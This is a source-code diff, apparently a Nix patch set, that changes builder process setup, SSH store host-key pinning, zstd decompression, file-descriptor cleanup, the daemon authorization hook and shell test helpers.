throw SysError("getting pseudoterminal attributes");
cfmakeraw(&term);
cfmakeraw(&term);
if (tcsetattr(builderOut.writeSide.get(), TCSANOW, &term))
throw SysError("putting pseudoterminal into raw mode");
if (tcsetattr(builderOut.get(), TCSANOW, &term))
throw SysError("putting pseudoterminal into raw mode");
if (dup2(builderOut.get(), STDERR_FILENO) == -1)
throw SysError("cannot pipe standard error into log file");
};
result.startTime = time(0);
@@ -2335,7 +2333,16 @@ void DerivationGoal::startBuilder()
options.allowVfork = false;
Pipe sendPid;
sendPid.create();
Pid helper = startProcess([&]() {
sendPid.readSide.close();
/* We need to open the slave early, before
CLONE_NEWUSER. Otherwise we get EPERM when running as
root. */
openSlave();
/* Drop additional groups here because we can't do it
after we've created the new user namespace. FIXME:
@@ -2379,10 +2386,12 @@ void DerivationGoal::startBuilder()
_exit(1);
if (child == -1) throw SysError("cloning builder process");
writeFull(builderOut.writeSide.get(), std::to_string(child) + "\n");
writeFull(sendPid.writeSide.get(), std::to_string(child) + "\n");
_exit(0);
}, options);
sendPid.writeSide.close();
int res = helper.wait();
if (res != 0 && settings.sandboxFallback) {
useChroot = false;
@@ -2400,7 +2409,7 @@ void DerivationGoal::startBuilder()
});
pid_t tmp;
if (!string2Int<pid_t>(readLine(builderOut.readSide.get()), tmp)) abort();
if (!string2Int<pid_t>(readLine(sendPid.readSide.get()), tmp)) abort();
pid = tmp;
/* Set the UID/GID mapping of the builder's user namespace
@@ -2427,18 +2436,18 @@ void DerivationGoal::startBuilder()
fallback:
options.allowVfork = !buildUser && !drv->isBuiltin();
pid = startProcess([&]() {
openSlave();
runChild();
}, options);
}
/* parent */
pid.setSeparatePG(true);
builderOut.writeSide = -1;
worker.childStarted(shared_from_this(), {builderOut.readSide.get()}, true, true);
worker.childStarted(shared_from_this(), {builderOut.get()}, true, true);
/* Check if setting up the build environment failed. */
while (true) {
string msg = readLine(builderOut.readSide.get());
string msg = readLine(builderOut.get());
if (string(msg, 0, 1) == "\1") {
if (msg.size() == 1) break;
throw Error(string(msg, 1));
@@ -2589,6 +2598,7 @@ void DerivationGoal::writeStructuredAttrs()
writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites));
chownToBuilder(tmpDir + "/.attrs.json");
env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json";
/* As a convenience to bash scripts, write a shell file that
maps all attributes that are representable in bash -
@@ -2658,6 +2668,7 @@ void DerivationGoal::writeStructuredAttrs()
writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites));
chownToBuilder(tmpDir + "/.attrs.sh");
env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh";
}
@@ -2739,7 +2750,7 @@ void DerivationGoal::runChild()
try { /* child */
commonChildInit(builderOut);
commonChildInit(-1);
try {
setupSeccomp();
@@ -2839,8 +2850,6 @@ void DerivationGoal::runChild()
ss.push_back("/etc/services");
ss.push_back("/etc/hosts");
if (pathExists("/var/run/nscd/socket"))
ss.push_back("/var/run/nscd/socket");
}
for (auto & i : ss) dirsInChroot.emplace(i, i);
@@ -3293,10 +3302,17 @@ void DerivationGoal::registerOutputs()
throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path);
#endif
/* Apply hash rewriting if necessary. */
/* Apply hash rewriting if necessary.
*
* For FODs, we always do the dump-and-restore dance regardless to make
* sure that there's no stale file descriptor pointing to the output
* of the path.
* */
bool rewritten = false;
if (!outputRewrites.empty()) {
if (fixedOutput || !outputRewrites.empty()) {
if (!outputRewrites.empty()) {
printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path);
}
/* Canonicalise first. This ensures that the path we're
rewriting doesn't contain a hard link to /etc/shadow or
@@ -3726,7 +3742,7 @@ void DerivationGoal::deleteTmpDir(bool force)
void DerivationGoal::handleChildOutput(int fd, const string & data)
{
if ((hook && fd == hook->builderOut.readSide.get()) ||
(!hook && fd == builderOut.readSide.get()))
(!hook && fd == builderOut.get()))
{
logSize += data.size();
if (settings.maxLogSize && logSize > settings.maxLogSize) {
@@ -3916,6 +3932,8 @@ public:
void handleChildOutput(int fd, const string & data) override;
void handleEOF(int fd) override;
void cleanup() override;
Path getStorePath() { return storePath; }
void amDone(ExitCode result) override
@@ -3939,15 +3957,7 @@ SubstitutionGoal::SubstitutionGoal(const Path & storePath, Worker & worker, Repa
SubstitutionGoal::~SubstitutionGoal()
{
try {
if (thr.joinable()) {
// FIXME: signal worker thread to quit.
thr.join();
worker.childTerminated(this);
}
} catch (...) {
ignoreException();
}
cleanup();
}
@@ -3982,6 +3992,8 @@ void SubstitutionGoal::tryNext()
{
trace("trying next substituter");
cleanup();
if (subs.size() == 0) {
/* None left. Terminate this goal and let someone else deal
with it. */
@@ -4109,7 +4121,7 @@ void SubstitutionGoal::tryToRun()
thr = std::thread([this]() {
try {
/* Wake up the worker loop when we're done. */
Finally updateStats([this]() { outPipe.writeSide = -1; });
Finally updateStats([this]() { outPipe.writeSide.close(); });
Activity act(*logger, actSubstitute, Logger::Fields{storePath, sub->getUri()});
PushActivity pact(act.id);
@@ -4193,6 +4205,20 @@ void SubstitutionGoal::handleEOF(int fd)
if (fd == outPipe.readSide.get()) worker.wakeUp(shared_from_this());
}
void SubstitutionGoal::cleanup()
{
try {
if (thr.joinable()) {
// FIXME: signal worker thread to quit.
thr.join();
worker.childTerminated(this);
}
outPipe.close();
} catch (...) {
ignoreException();
}
}
//////////////////////////////////////////////////////////////////////
@@ -4472,7 +4498,7 @@ void Worker::waitForInput()
if (!waitingForAWhile.empty()) {
useTimeout = true;
if (lastWokenUp == steady_time_point::min())
printError("waiting for locks or build slots...");
printError("waiting for locks, build slots or build users...");
if (lastWokenUp == steady_time_point::min() || lastWokenUp > before) lastWokenUp = before;
timeout.tv_sec = std::max(1L,
(long) std::chrono::duration_cast<std::chrono::seconds>(
+1 -1
View File
@@ -34,7 +34,7 @@ Settings::Settings()
, nixLibexecDir(canonPath(getEnv("NIX_LIBEXEC_DIR", NIX_LIBEXEC_DIR)))
, nixBinDir(canonPath(getEnv("NIX_BIN_DIR", NIX_BIN_DIR)))
, nixManDir(canonPath(NIX_MAN_DIR))
, nixDaemonSocketFile(canonPath(nixStateDir + DEFAULT_SOCKET_PATH))
, nixDaemonSocketFile(canonPath(getEnv("NIX_DAEMON_SOCKET_PATH", nixStateDir + DEFAULT_SOCKET_PATH)))
{
buildUsersGroup = getuid() == 0 ? "nixbld" : "";
lockCPU = getEnv("NIX_AFFINITY_HACK", "1") == "1";
+2
View File
@@ -15,6 +15,7 @@ struct LegacySSHStore : public Store
{
const Setting<int> maxConnections{this, 1, "max-connections", "maximum number of concurrent SSH connections"};
const Setting<Path> sshKey{this, "", "ssh-key", "path to an SSH private key"};
const Setting<std::string> sshPublicHostKey{this, "", "base64-ssh-public-host-key", "The public half of the host's SSH key"};
const Setting<bool> compress{this, false, "compress", "whether to compress the connection"};
const Setting<Path> remoteProgram{this, "nix-store", "remote-program", "path to the nix-store executable on the remote system"};
const Setting<std::string> remoteStore{this, "", "remote-store", "URI of the store on the remote system"};
@@ -48,6 +49,7 @@ struct LegacySSHStore : public Store
, master(
host,
sshKey,
sshPublicHostKey,
// Use SSH master only if using more than 1 connection.
connections->capacity() > 1,
compress,
+1 -1
View File
@@ -1038,7 +1038,7 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source,
auto actualFoHash = hashCAPath(
recursive,
expectedHash.type,
info.path
realPath
);
if (ca != actualFoHash) {
throw Error("ca hash mismatch importing path '%s';\n specified: %s\n got: %s",
+2 -2
View File
@@ -9,7 +9,7 @@ libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc)
libstore_LIBS = libutil
libstore_LDFLAGS = $(SQLITE3_LIBS) -lbz2 $(LIBCURL_LIBS) $(SODIUM_LIBS) -pthread
ifneq ($(OS), FreeBSD)
ifdef HOST_LINUX
libstore_LDFLAGS += -ldl
endif
@@ -21,7 +21,7 @@ ifeq ($(ENABLE_S3), 1)
libstore_LDFLAGS += -laws-cpp-sdk-transfer -laws-cpp-sdk-s3 -laws-cpp-sdk-core
endif
ifeq ($(OS), SunOS)
ifdef HOST_SOLARIS
libstore_LDFLAGS += -lsocket
endif
+3 -1
View File
@@ -32,7 +32,9 @@
(literal "/tmp") (subpath TMPDIR))
; Some packages like to read the system version.
(allow file-read* (literal "/System/Library/CoreServices/SystemVersion.plist"))
(allow file-read*
(literal "/System/Library/CoreServices/SystemVersion.plist")
(literal "/System/Library/CoreServices/SystemVersionCompat.plist"))
; Without this line clang cannot write to /dev/null, breaking some configure tests.
(allow file-read-metadata (literal "/dev"))
+6 -1
View File
@@ -1,4 +1,5 @@
#include "sqlite.hh"
#include "globals.hh"
#include "util.hh"
#include <sqlite3.h>
@@ -27,8 +28,12 @@ namespace nix {
SQLite::SQLite(const Path & path)
{
// useSQLiteWAL also indicates what virtual file system we need. Using
// `unix-dotfile` is needed on NFS file systems and on Windows' Subsystem
// for Linux (WSL) where useSQLiteWAL should be false by default.
const char *vfs = settings.useSQLiteWAL ? 0 : "unix-dotfile";
if (sqlite3_open_v2(path.c_str(), &db,
SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, 0) != SQLITE_OK)
SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, vfs) != SQLITE_OK)
throw Error(format("cannot open SQLite database '%s'") % path);
}
+7 -1
View File
@@ -15,7 +15,10 @@ class SSHStore : public RemoteStore
public:
const Setting<Path> sshKey{(Store*) this, "", "ssh-key", "path to an SSH private key"};
const Setting<std::string> sshPublicHostKey{(Store*) this, "", "base64-ssh-public-host-key", "The public half of the host's SSH key"};
const Setting<bool> compress{(Store*) this, false, "compress", "whether to compress the connection"};
const Setting<Path> remoteProgram{(Store*) this, "nix-daemon", "remote-program", "path to the nix-daemon executable on the remote system"};
const Setting<std::string> remoteStore{(Store*) this, "", "remote-store", "URI of the store on the remote system"};
SSHStore(const std::string & host, const Params & params)
: Store(params)
@@ -24,6 +27,7 @@ public:
, master(
host,
sshKey,
sshPublicHostKey,
// Use SSH master only if using more than 1 connection.
connections->capacity() > 1,
compress)
@@ -82,7 +86,9 @@ ref<FSAccessor> SSHStore::getFSAccessor()
ref<RemoteStore::Connection> SSHStore::openConnection()
{
auto conn = make_ref<Connection>();
conn->sshConn = master.startCommand("nix-daemon --stdio");
conn->sshConn = master.startCommand(
fmt("%s --stdio", remoteProgram)
+ (remoteStore.get() == "" ? "" : " --store " + shellEscape(remoteStore.get())));
conn->to = FdSink(conn->sshConn->in.get());
conn->from = FdSource(conn->sshConn->out.get());
initConnection(*conn);
+14 -3
View File
@@ -2,24 +2,37 @@
namespace nix {
SSHMaster::SSHMaster(const std::string & host, const std::string & keyFile, bool useMaster, bool compress, int logFD)
SSHMaster::SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD)
: host(host)
, fakeSSH(host == "localhost")
, keyFile(keyFile)
, sshPublicHostKey(sshPublicHostKey)
, useMaster(useMaster && !fakeSSH)
, compress(compress)
, logFD(logFD)
{
if (host == "" || hasPrefix(host, "-"))
throw Error("invalid SSH host name '%s'", host);
auto state(state_.lock());
state->tmpDir = std::make_unique<AutoDelete>(createTempDir("", "nix", true, true, 0700));
}
void SSHMaster::addCommonSSHOpts(Strings & args)
{
auto state(state_.lock());
for (auto & i : tokenizeString<Strings>(getEnv("NIX_SSHOPTS")))
args.push_back(i);
if (!keyFile.empty())
args.insert(args.end(), {"-i", keyFile});
if (!sshPublicHostKey.empty()) {
Path fileName = (Path) *state->tmpDir + "/host-key";
auto p = host.rfind("@");
string thost = p != string::npos ? string(host, p + 1) : host;
writeFile(fileName, thost + " " + base64Decode(sshPublicHostKey) + "\n");
args.insert(args.end(), {"-oUserKnownHostsFile=" + fileName});
}
if (compress)
args.push_back("-C");
}
@@ -87,8 +100,6 @@ Path SSHMaster::startMaster()
if (state->sshMaster != -1) return state->socketPath;
state->tmpDir = std::make_unique<AutoDelete>(createTempDir("", "nix", true, true, 0700));
state->socketPath = (Path) *state->tmpDir + "/ssh.sock";
Pipe out;
+2 -1
View File
@@ -12,6 +12,7 @@ private:
const std::string host;
bool fakeSSH;
const std::string keyFile;
const std::string sshPublicHostKey;
const bool useMaster;
const bool compress;
const int logFD;
@@ -29,7 +30,7 @@ private:
public:
SSHMaster(const std::string & host, const std::string & keyFile, bool useMaster, bool compress, int logFD = -1);
SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD = -1);
struct Connection
{
+1 -1
View File
@@ -680,7 +680,7 @@ class LocalFSStore : public virtual Store
public:
// FIXME: the (Store*) cast works around a bug in gcc that causes
// it to emit the call to the Option constructor. Clang works fine
// it to omit the call to the Setting constructor. Clang works fine
// either way.
const PathSetting rootDir{(Store*) this, true, "",
"root", "directory prefixed to all other paths"};
+76
View File
@@ -5,8 +5,10 @@
#include <lzma.h>
#include <bzlib.h>
#include <zstd.h>
#include <cstdio>
#include <cstring>
#include <vector>
#include <brotli/decode.h>
#include <brotli/encode.h>
@@ -198,6 +200,78 @@ struct BrotliDecompressionSink : ChunkedCompressionSink
}
};
struct ZstdDecompressionSink : CompressionSink
{
Sink & nextSink;
ZSTD_DStream *strm;
std::vector<uint8_t> inbuf;
size_t outbuf_size = ZSTD_DStreamOutSize();
uint8_t *outbuf = new uint8_t[outbuf_size];
ZstdDecompressionSink(Sink & nextSink) : nextSink(nextSink)
{
strm = ZSTD_createDStream();
if (!strm)
throw CompressionError("unable to initialise zstd decoder");
ZSTD_initDStream(strm);
}
~ZstdDecompressionSink()
{
delete[] outbuf;
ZSTD_freeDStream(strm);
}
void finish() override
{
// this call doesn't make any sense, but it's here for consistency with the other compression sinks
// CompressionSink inherits from BufferedSink, but none of the subclasses appear to ever make use of the buffer
flush();
// if we still have undecoded data in the input buffer, we can't signal EOF to libzstd
// if we don't, then we're done here anyway
if (inbuf.size())
throw CompressionError("received unexpected EOF while decompressing zstd file");
nextSink(nullptr, 0);
}
void write(const unsigned char * data, size_t len) override
{
inbuf.insert(inbuf.end(), data, data + len);
ZSTD_inBuffer in = {
.src = inbuf.data(),
.size = inbuf.size(),
.pos = 0
};
ZSTD_outBuffer out = {
.dst = outbuf,
.size = outbuf_size,
.pos = 0
};
while (in.pos < in.size) {
out.pos = 0;
size_t ret = ZSTD_decompressStream(strm, &out, &in);
if (ZSTD_isError(ret))
throw CompressionError("error %s while decompressing zstd file", ZSTD_getErrorName(ret));
if (out.pos)
nextSink(outbuf, out.pos);
else
break;
}
// drop consumed input
inbuf.erase(inbuf.begin(), inbuf.begin() + in.pos);
}
};
ref<std::string> decompress(const std::string & method, const std::string & in)
{
StringSink ssink;
@@ -217,6 +291,8 @@ ref<CompressionSink> makeDecompressionSink(const std::string & method, Sink & ne
return make_ref<BzipDecompressionSink>(nextSink);
else if (method == "br")
return make_ref<BrotliDecompressionSink>(nextSink);
else if (method == "zstd")
return make_ref<ZstdDecompressionSink>(nextSink);
else
throw UnknownCompressionMethod("unknown compression method '%s'", method);
}
+1
View File
@@ -1,6 +1,7 @@
#include "json.hh"
#include <iomanip>
#include <cstdint>
#include <cstring>
namespace nix {
+1 -1
View File
@@ -6,4 +6,4 @@ libutil_DIR := $(d)
libutil_SOURCES := $(wildcard $(d)/*.cc)
libutil_LDFLAGS = $(LIBLZMA_LIBS) -lbz2 -pthread $(OPENSSL_LIBS) $(LIBBROTLI_LIBS) $(BOOST_LDFLAGS) -lboost_context
libutil_LDFLAGS = $(LIBLZMA_LIBS) -lbz2 -pthread $(OPENSSL_LIBS) $(LIBBROTLI_LIBS) $(LIBZSTD_LIBS) $(BOOST_LDFLAGS) -lboost_context
+10 -3
View File
@@ -753,6 +753,7 @@ void AutoCloseFD::close()
if (::close(fd) == -1)
/* This should never happen. */
throw SysError(format("closing file descriptor %1%") % fd);
fd = -1;
}
}
@@ -770,6 +771,12 @@ int AutoCloseFD::release()
return oldFD;
}
void Pipe::close()
{
readSide.close();
writeSide.close();
}
void Pipe::create()
{
@@ -1080,7 +1087,7 @@ void runProgram2(const RunOptions & options)
throw SysError("executing '%1%'", options.program);
}, processOptions);
out.writeSide = -1;
out.writeSide.close();
std::thread writerThread;
@@ -1093,7 +1100,7 @@ void runProgram2(const RunOptions & options)
if (source) {
in.readSide = -1;
in.readSide.close();
writerThread = std::thread([&]() {
try {
std::vector<unsigned char> buf(8 * 1024);
@@ -1110,7 +1117,7 @@ void runProgram2(const RunOptions & options)
} catch (...) {
promise.set_exception(std::current_exception());
}
in.writeSide = -1;
in.writeSide.close();
});
}
+2 -1
View File
@@ -190,7 +190,6 @@ public:
class AutoCloseFD
{
int fd;
void close();
public:
AutoCloseFD();
AutoCloseFD(int fd);
@@ -202,6 +201,7 @@ public:
int get() const;
explicit operator bool() const;
int release();
void close();
};
@@ -210,6 +210,7 @@ class Pipe
public:
AutoCloseFD readSide, writeSide;
void create();
void close();
};
+1 -1
View File
@@ -106,7 +106,7 @@ static void _main(int argc, char * * argv)
// Heuristic to see if we're invoked as a shebang script, namely,
// if we have at least one argument, it's the name of an
// executable file, and it starts with "#!".
if (runEnv && argc > 1 && !std::regex_search(argv[1], std::regex("nix-shell"))) {
if (runEnv && argc > 1) {
script = argv[1];
try {
auto lines = tokenizeString<Strings>(readFile(script), "\n");
+23 -11
View File
@@ -743,7 +743,11 @@ static void performOp(TunnelLogger * logger, ref<Store> store,
static void processConnection(bool trusted,
const std::string & userName, uid_t userId)
/* Arbitrary hook to check authorization / initialize user data / whatever
after the protocol has been negotiated. The idea is that this function
and everything it calls doesn't know about this stuff, and the
`nix-daemon` handles that instead. */
std::function<void(Store &)> authHook)
{
MonitorFdHup monitor(from.fd);
@@ -781,20 +785,13 @@ static void processConnection(bool trusted,
/* If we can't accept clientVersion, then throw an error
*here* (not above). */
#if 0
/* Prevent users from doing something very dangerous. */
if (geteuid() == 0 &&
querySetting("build-users-group", "") == "")
throw Error("if you run 'nix-daemon' as root, then you MUST set 'build-users-group'!");
#endif
/* Open the store. */
Store::Params params; // FIXME: get params from somewhere
// Disable caching since the client already does that.
params["path-info-cache-size"] = "0";
auto store = openStore(settings.storeUri, params);
store->createUser(userName, userId);
authHook(*store);
tunnelLogger->stopWork();
to.flush();
@@ -901,7 +898,11 @@ static PeerInfo getPeerInfo(int remote)
#if defined(SO_PEERCRED)
#if defined(__OpenBSD__)
struct sockpeercred cred;
#else
ucred cred;
#endif
socklen_t credLen = sizeof(cred);
if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1)
throw SysError("getting peer credentials");
@@ -1056,7 +1057,15 @@ static void daemonLoop(char * * argv)
/* Handle the connection. */
from.fd = remote.get();
to.fd = remote.get();
processConnection(trusted, user, peer.uid);
processConnection(trusted, [&](Store & store) {
#if 0
/* Prevent users from doing something very dangerous. */
if (geteuid() == 0 &&
querySetting("build-users-group", "") == "")
throw Error("if you run 'nix-daemon' as root, then you MUST set 'build-users-group'!");
#endif
store.createUser(user, peer.uid);
});
exit(0);
}, options);
@@ -1136,7 +1145,10 @@ static int _main(int argc, char * * argv)
}
}
} else {
processConnection(true, "root", 0);
/* Auth hook is empty because in this mode we blindly trust the
standard streams. Limitting access to thoses is explicitly
not `nix-daemon`'s responsibility. */
processConnection(true, [&](Store & _){});
}
} else {
daemonLoop(argv);
+1 -1
View File
@@ -1,4 +1,4 @@
ifeq ($(OS), Darwin)
ifdef HOST_DARWIN
programs += resolve-system-dependencies
endif
+5 -3
View File
@@ -1,5 +1,7 @@
source common.sh
needLocalStore "“--no-require-sigs” can’t be used with the daemon"
clearStore
clearCache
@@ -60,8 +62,8 @@ mv $nar $nar.good
mkdir -p $TEST_ROOT/empty
nix-store --dump $TEST_ROOT/empty | xz > $nar
nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log
grep -q "hash mismatch" $TEST_ROOT/log
expect 1 nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log
grepQuiet "hash mismatch" $TEST_ROOT/log
mv $nar.good $nar
@@ -108,7 +110,7 @@ clearStore
rm $(grep -l "StorePath:.*dependencies-input-2" $cacheDir/*.narinfo)
nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log
grep -q "copying path" $TEST_ROOT/log
grepQuiet "copying path" $TEST_ROOT/log
if [ -n "$HAVE_SODIUM" ]; then
+1 -1
View File
@@ -20,7 +20,7 @@ nix build -f dependencies.nix --dry-run 2>&1 | grep "will be built"
# TODO: XXX: FIXME: #1793
# Disable this part of the test until the problem is resolved:
if [ -n "$ISSUE_1795_IS_FIXED" ]; then
if [ -n "${ISSUE_1795_IS_FIXED-}" ]; then
clearStore
clearCache
+5 -5
View File
@@ -8,14 +8,14 @@ dep=$(nix-build -o $RESULT check-refs.nix -A dep)
# test1 references dep, not itself.
test1=$(nix-build -o $RESULT check-refs.nix -A test1)
(! nix-store -q --references $test1 | grep -q $test1)
nix-store -q --references $test1 | grep -q $dep
nix-store -q --references $test1 | grepQuietInverse $test1
nix-store -q --references $test1 | grepQuiet $dep
# test2 references src, not itself nor dep.
test2=$(nix-build -o $RESULT check-refs.nix -A test2)
(! nix-store -q --references $test2 | grep -q $test2)
(! nix-store -q --references $test2 | grep -q $dep)
nix-store -q --references $test2 | grep -q aux-ref
nix-store -q --references $test2 | grepQuietInverse $test2
nix-store -q --references $test2 | grepQuietInverse $dep
nix-store -q --references $test2 | grepQuiet aux-ref
# test3 should fail (unallowed ref).
(! nix-build -o $RESULT check-refs.nix -A test3)
+2 -2
View File
@@ -8,8 +8,8 @@ nix-build -o $RESULT check-reqs.nix -A test1
(! nix-build -o $RESULT check-reqs.nix -A test2)
(! nix-build -o $RESULT check-reqs.nix -A test3)
(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grep -q 'check-reqs-dep1'
(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grep -q 'check-reqs-dep2'
(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep1'
(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep2'
(! nix-build -o $RESULT check-reqs.nix -A test5)
(! nix-build -o $RESULT check-reqs.nix -A test6)
+3
View File
@@ -1,5 +1,8 @@
source common.sh
# XXX: This shouldn’t be, but #4813 cause this test to fail
buggyNeedLocalStore "see #4813"
clearStore
nix-build dependencies.nix --no-out-link
+149 -16
View File
@@ -1,6 +1,12 @@
set -e
set -eu -o pipefail
export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)
if [[ -z "${COMMON_SH_SOURCED-}" ]]; then
COMMON_SH_SOURCED=1
export PS4='+(${BASH_SOURCE[0]}:$LINENO) '
export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/${TEST_NAME:-default}
export NIX_STORE_DIR
if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then
# Maybe the build directory is symlinked.
@@ -11,13 +17,14 @@ export NIX_LOCALSTATE_DIR=$TEST_ROOT/var
export NIX_LOG_DIR=$TEST_ROOT/var/log/nix
export NIX_STATE_DIR=$TEST_ROOT/var/nix
export NIX_CONF_DIR=$TEST_ROOT/etc
export NIX_DAEMON_SOCKET_PATH=$TEST_ROOT/daemon-socket
export _NIX_TEST_SHARED=$TEST_ROOT/shared
if [[ -n $NIX_STORE ]]; then
export _NIX_TEST_NO_SANDBOX=1
fi
export _NIX_IN_TEST=$TEST_ROOT/shared
export _NIX_TEST_NO_LSOF=1
export NIX_REMOTE=$NIX_REMOTE_
export NIX_REMOTE=${NIX_REMOTE_-}
unset NIX_PATH
export TEST_HOME=$TEST_ROOT/test-home
export HOME=$TEST_HOME
@@ -25,6 +32,13 @@ unset XDG_CACHE_HOME
mkdir -p $TEST_HOME
export PATH=@bindir@:$PATH
if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then
export PATH="$NIX_CLIENT_PACKAGE/bin":$PATH
fi
DAEMON_PATH="$PATH"
if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
DAEMON_PATH="${NIX_DAEMON_PACKAGE}/bin:$DAEMON_PATH"
fi
coreutils=@coreutils@
export dot=@dot@
@@ -36,6 +50,9 @@ export HAVE_SODIUM="@HAVE_SODIUM@"
export version=@PACKAGE_VERSION@
export system=@system@
export IMPURE_VAR1=foo
export IMPURE_VAR2=bar
cacheDir=$TEST_ROOT/binary-cache
readLink() {
@@ -54,7 +71,6 @@ clearStore() {
mkdir "$NIX_STORE_DIR"
rm -rf "$NIX_STATE_DIR"
mkdir "$NIX_STATE_DIR"
nix-store --init
clearProfiles
}
@@ -67,31 +83,73 @@ clearCacheCache() {
}
startDaemon() {
# Don’t start the daemon twice, as this would just make it loop indefinitely
if [[ "$NIX_REMOTE" == daemon ]]; then
return
fi
# Start the daemon, wait for the socket to appear. !!!
# ‘nix-daemon’ should have an option to fork into the background.
rm -f $NIX_STATE_DIR/daemon-socket/socket
nix-daemon &
for ((i = 0; i < 30; i++)); do
if [ -e $NIX_STATE_DIR/daemon-socket/socket ]; then break; fi
sleep 1
done
rm -f $NIX_DAEMON_SOCKET_PATH
PATH=$DAEMON_PATH nix-daemon &
pidDaemon=$!
trap "kill -9 $pidDaemon" EXIT
for ((i = 0; i < 300; i++)); do
if [[ -S $NIX_DAEMON_SOCKET_PATH ]]; then break; fi
sleep 0.1
done
trap "killDaemon" EXIT
# Save for if daemon is killed
NIX_REMOTE_OLD=$NIX_REMOTE
export NIX_REMOTE=daemon
}
killDaemon() {
kill -9 $pidDaemon
kill $pidDaemon
for i in {0..100}; do
kill -0 $pidDaemon || break
sleep 0.1
done
kill -9 $pidDaemon || true
wait $pidDaemon || true
# Restore old nix remote
NIX_REMOTE=$NIX_REMOTE_OLD
trap "" EXIT
}
restartDaemon() {
[[ -z "${pidDaemon:-}" ]] && return 0
killDaemon
startDaemon
}
if [[ $(uname) == Linux ]] && [[ -L /proc/self/ns/user ]] && unshare --user true; then
_canUseSandbox=1
fi
isDaemonOlder () {
[[ -n "${NIX_DAEMON_PACKAGE:-}" ]] || return 0
local requiredVersion="$1"
local daemonVersion=$($NIX_DAEMON_PACKAGE/bin/nix-daemon --version | cut -d' ' -f3)
[[ $(nix eval --expr "builtins.compareVersions ''$daemonVersion'' ''$requiredVersion''") -lt 0 ]]
}
isDaemonNewer () {
[[ -n "${NIX_DAEMON_PACKAGE:-}" ]] || return 0
local requiredVersion="$1"
local daemonVersion=$($NIX_DAEMON_PACKAGE/bin/nix-daemon --version | cut -d' ' -f3)
[[ $(nix eval --expr "builtins.compareVersions ''$daemonVersion'' ''$requiredVersion''") -ge 0 ]]
}
requireDaemonOlderThan () {
isDaemonOlder "$1" || exit 99
}
requireDaemonNewerThan () {
isDaemonNewer "$1" || exit 99
}
canUseSandbox() {
if [[ ! $_canUseSandbox ]]; then
if [[ ! ${_canUseSandbox-} ]]; then
echo "Sandboxing not supported, skipping this test..."
return 1
fi
@@ -104,15 +162,90 @@ fail() {
exit 1
}
# Run a command failing if it didn't exit with the expected exit code.
#
# Has two advantages over the built-in `!`:
#
# 1. `!` conflates all non-0 codes. `expect` allows testing for an exact
# code.
#
# 2. `!` unexpectedly negates `set -e`, and cannot be used on individual
# pipeline stages with `set -o pipefail`. It only works on the entire
# pipeline, which is useless if we want, say, `nix ...` invocation to
# *fail*, but a grep on the error message it outputs to *succeed*.
expect() {
local expected res
expected="$1"
shift
set +e
"$@"
res="$?"
"$@" && res=0 || res="$?"
set -e
[[ $res -eq $expected ]]
if [[ $res -ne $expected ]]; then
echo "Expected '$expected' but got '$res' while running '${*@Q}'" >&2
return 1
fi
return 0
}
# Better than just doing `expect ... >&2` because the "Expected..."
# message below will *not* be redirected.
expectStderr() {
local expected res
expected="$1"
shift
"$@" 2>&1 && res=0 || res="$?"
if [[ $res -ne $expected ]]; then
echo "Expected '$expected' but got '$res' while running '${*@Q}'" >&2
return 1
fi
return 0
}
needLocalStore() {
if [[ "$NIX_REMOTE" == "daemon" ]]; then
echo "Can’t run through the daemon ($1), skipping this test..."
return 99
fi
}
# Just to make it easy to find which tests should be fixed
buggyNeedLocalStore () {
needLocalStore "$1"
}
# `grep -v` doesn't work well for exit codes. We want `!(exist line l. l
# matches)`. It gives us `exist line l. !(l matches)`.
#
# `!` normally doesn't work well with `set -e`, but when we wrap in a
# function it *does*.
grepInverse() {
! grep "$@"
}
# A shorthand, `> /dev/null` is a bit noisy.
#
# `grep -q` would seem to do this, no function necessary, but it is a
# bad fit with pipes and `set -o pipefail`: `-q` will exit after the
# first match, and then subsequent writes will result in broken pipes.
#
# Note that reproducing the above is a bit tricky as it depends on
# non-deterministic properties such as the timing between the match and
# the closing of the pipe, the buffering of the pipe, and the speed of
# the producer into the pipe. But rest assured we've seen it happen in
# CI reliably.
grepQuiet() {
grep "$@" > /dev/null
}
# The previous two, combined
grepQuietInverse() {
! grep "$@" > /dev/null
}
set -x
if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
startDaemon
fi
fi # COMMON_SH_SOURCED
+4 -4
View File
@@ -22,7 +22,7 @@ nix-store -q --graph "$outPath" > $TEST_ROOT/graph
if test -n "$dot"; then
# Does it parse?
$dot < $TEST_ROOT/graph
fi
fi
nix-store -q --tree "$outPath" | grep '+---.*dependencies-input-2'
@@ -36,10 +36,10 @@ deps=$(nix-store -quR "$drvPath")
